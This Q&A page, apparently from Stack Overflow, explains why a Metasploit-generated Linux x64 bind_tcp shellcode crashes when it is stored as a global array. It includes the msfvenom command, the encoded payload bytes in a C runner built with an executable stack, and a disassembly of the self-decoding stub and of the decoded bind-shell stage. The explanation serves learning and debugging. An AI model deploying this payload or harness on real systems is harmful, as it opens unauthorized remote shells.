cx86elfshellcodemetasploit

Msfvenom bind_tcp shellcode not working when the shellcode is defined as a global variable


I am generating bind_tcp shellcode on my Ubuntu with the following command:

msfvenom -p linux/x64/shell/bind_tcp -b "\x00" -f c RHOST=172.31.31.179 LPORT=1234

And my C code to test it is:

#include <stdio.h>
#include <string.h>

__attribute__((section(".text#")))
unsigned char code[] = 
        "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef"
        "\xff\xff\xff\x48\xbb\xce\xce\x52\xea\xc0\xc8\xf1\x54\x48"
        "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa4\xe7\x0a"
        "\x73\xaa\xca\xae\x3e\xcf\x90\x5d\xef\x88\x5f\xa3\x93\xca"
        "\xea\x50\xea\xc4\x1a\xb9\xdd\x28\xa4\x42\xb0\xaa\xf9\xa9"
        "\x5b\xcb\x97\x38\xd8\x98\xc7\xf4\x1c\x58\xa4\x79\xb2\xcf"
        "\xcd\xa1\x02\x91\xa4\x5b\xb2\x59\x7e\xe1\x1c\x47\x18\x1f"
        "\xdb\x09\xa2\xd3\x15\x94\x7c\x55\xe5\xc5\x80\x67\x1c\x59"
        "\x91\x5d\xef\x3f\x2e\xf1\x54";


int main() {
    printf("Shellcode Length %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

Compiling the code with gcc -z execstack -fno-stack-protector -o shellCode shellCode.c then running ./shellCode generates a segmentation fault. However, if I move the code array into the main function (and remove the __attribute__), the code works and I can exploit with msfconsole.

My question is: why does defining code as a global variable not work? I have checked both the ELF files, and both times the code is under the .text section. But the difference is:

Does msfvenom require making the shellcode a local variable? If so, is there any way to walk around this mechanism?


Solution

  • As you can see from the first few instructions of the shellcode you're trying to execute:

        1180:       48 31 c9                xor    rcx,rcx
        1183:       48 81 e9 f6 ff ff ff    sub    rcx,0xfffffffffffffff6
        118a:       48 8d 05 ef ff ff ff    lea    rax,[rip+0xffffffffffffffef]        # 1180 <code>
        1191:       48 bb ce ce 52 ea c0    movabs rbx,0x54f1c8c0ea52cece
        1198:       c8 f1 54 
        119b:       48 31 58 27             xor    QWORD PTR [rax+0x27],rbx
        119f:       48 2d f8 ff ff ff       sub    rax,0xfffffffffffffff8
        11a5:       e2 f4                   loop   119b <code+0x1b>
        ...
    

    The shellcode is self-modifying. The first few instructions locate the rest of the machine code to execute, load the address into RAX, and then XOR it 8 bytes at a time with the constant 0x54f1c8c0ea52cece in a loop. When that's done (after 10 iterations it seems, since RCX starts from 10) the rest of the shellcode will be executed.

    This works well if you declare the code in a section that is readable, writable and executable (such as the stack when using -z execstack), but it definitely cannot work in a section that is only readable and executable (such as the text). Therefore, you should either use the stack (local variable) or tell Msfvenom to produce shellcode that is not self-modifying. Not sure how to accomplish the second option since I've never used that tool, but maybe look at a different -p payload or look at --payload-options.

    The second code snippet for the local variable case seems to make more sense only because declaring a local buffer on the stack will result in the compiler emitting a bunch of MOV/MOVABS instructions to populate the buffer before the actual function starts. So what you see is not the shellcode, but merely code that is writing the shellcode to the stack. The actual shellcode execution starts here:

    1278:       ff d2                   call   rdx
    

    And you will not be able to see/dump it with a simple disassembler like you did in the first case.

    In any case, the shellcode that gets executed will still be the same as the one you printed for the global variable case. It will self-modify and then execute. This time however it will work because the stack is RWX with -z execstack.

    If you run your program under a debugger such as GDB and single-step after call rdx, you will be able to see the self-modification happen and you will be able to observe the rest of the code after it is XORed. I did this for you, and the shellcode after the loop looks like this:

    0:  6a 29                   push   0x29
    2:  58                      pop    rax
    3:  99                      cdq
    4:  6a 02                   push   0x2
    6:  5f                      pop    rdi
    7:  6a 01                   push   0x1
    9:  5e                      pop    rsi
    a:  0f 05                   syscall
    c:  48 97                   xchg   rdi,rax
    e:  52                      push   rdx
    f:  c7 04 24 02 00 04 d2    mov    DWORD PTR [rsp],0xd2040002
    16: 48 89 e6                mov    rsi,rsp
    19: 6a 10                   push   0x10
    1b: 5a                      pop    rdx
    1c: 6a 31                   push   0x31
    1e: 58                      pop    rax
    1f: 0f 05                   syscall
    21: 59                      pop    rcx
    22: 6a 32                   push   0x32
    24: 58                      pop    rax
    25: 0f 05                   syscall
    27: 48 96                   xchg   rsi,rax
    29: 6a 2b                   push   0x2b
    2b: 58                      pop    rax
    2c: 0f 05                   syscall
    2e: 50                      push   rax
    2f: 56                      push   rsi
    30: 5f                      pop    rdi
    31: 6a 09                   push   0x9
    33: 58                      pop    rax
    34: 99                      cdq
    35: b6 10                   mov    dh,0x10
    37: 48 89 d6                mov    rsi,rdx
    3a: 4d 31 c9                xor    r9,r9
    3d: 6a 22                   push   0x22
    3f: 41 5a                   pop    r10
    41: b2 07                   mov    dl,0x7
    43: 0f 05                   syscall
    45: 48 96                   xchg   rsi,rax
    47: 48 97                   xchg   rdi,rax
    49: 5f                      pop    rdi
    4a: 0f 05                   syscall
    4c: ff e6                   jmp    rsi
    

    P.S.: that "section" you see called code:

    0000000000001180 <code>:
    

    Is not a section, it's just a symbol referring to the global variable code, and objdump (or whatever tool you used to disassemble the ELF) is highlighting where the symbol starts for you.